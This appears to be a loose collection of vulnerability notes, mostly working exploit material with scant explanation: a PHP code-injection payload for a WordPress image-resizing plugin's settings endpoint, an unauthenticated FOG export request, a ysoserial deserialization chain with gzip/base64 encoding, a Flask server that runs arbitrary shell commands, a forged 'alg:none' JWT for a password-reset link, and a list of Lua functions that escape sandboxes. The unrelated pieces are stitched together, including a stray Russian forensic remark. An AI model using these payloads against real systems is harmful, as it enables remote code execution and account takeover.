Base Score: 9.8 CRITICAL
CWE: CWE-94

        $format = @isset($request['cf_image_resizing_format']) ? $request['cf_image_resizing_format'] : null;
          
        if (null !== $format)
        {
            $file_content = file_get_contents($config_file);
    
            $file_content = preg_replace("/(define\(\'CF_IMAGE_RESIZING_FORMAT\'\,\s\')(.*)(\'\)\;)/", "$1$format$3", $file_content);
        
            file_put_contents($config_file, $file_content);
        }

 $config_file = WP_PLUGIN_DIR.'/cf-image-resizing/config.php'

POST /wp-json/wp/v2/settings/ HTTP/1.1
Host: 192.168.177.165
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 52

{"cf_image_resizing_format":"'); system('id'); /*" }

// Recommended: 'auto'
define('CF_IMAGE_RESIZING_FORMAT', ''); system('id'); /*');

{"cf_image_resizing_format":"'); system('echo \"<h1>Привет<h1>\" > Hi.html'); /*" }

Base Core: 9.9
CWE: CWE-306 CWE-287

POST /fog/management/export.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fogguiuser=&fogguipass=&nojson=4&export=3

Если в записи MFT в $FN миллисекунды Creation, Modification и Access равны нулю, а миллескунды Entry не равны нулю, то вероятна подмена $FN меток.

/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>

java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0

<@urlencode> RCE </@urlencode>

echo -n "nslookup google.com" | gzip | base64 -w0

<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>

import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging

app = Flask(__name__)

# Set up logging
logging.basicConfig(
    filename='exploit.log',
    level=logging.INFO,
    format='[%(asctime)s] %(message)s',
)

@app.route('/rce')
def debug():
    payload = request.args.get('cmd')

    if payload:
        if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
            payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
        print(payload)
        decoded_url = urllib.parse.unquote_plus(payload)
        print(decoded_url)
        decoded_bytes = base64.b64decode(decoded_url)
        print(decoded_bytes)
        try:
            with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
                decompressed = f.read()
        except Exception:
            decompressed = decoded_bytes

        ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])

        try:
            cmd = ascii_text[:1000]
            output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
            return f"<pre>{output}</pre>"
        except subprocess.CalledProcessError as e:
            return f"<pre>Error:\n{e.output}</pre>"
    else:
        return "example /rce?cmd=&lt;@urlencode&gt;H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA&lt;/@urlencode&gt;", 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=4502, debug=True)

Base Score: 9,4 Critical
CWE: 345, 287, 347

xxxxx.yyyyy.zzzzz

export const verifyToken = async (token: string): Promise<JwtPayload> => {
  // First decode to get the ID
  const decoded = jwt.decode(token);
  const payload: JwtPayload = decoded as JwtPayload;

  if (!payload) {
    throw new Error("Token is invalid");
  } 

header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.

{
  "alg": "none",
  "typ": "JWT"
}
{
  "id": "cmg52lkge0000pd01oq32fjhe"
}

http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.

0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}

Base Score: 9.9 (Critical)
CWE: 416

package.loadlib, io.popen, os.execute

package.loadlib, io.popen, os.execute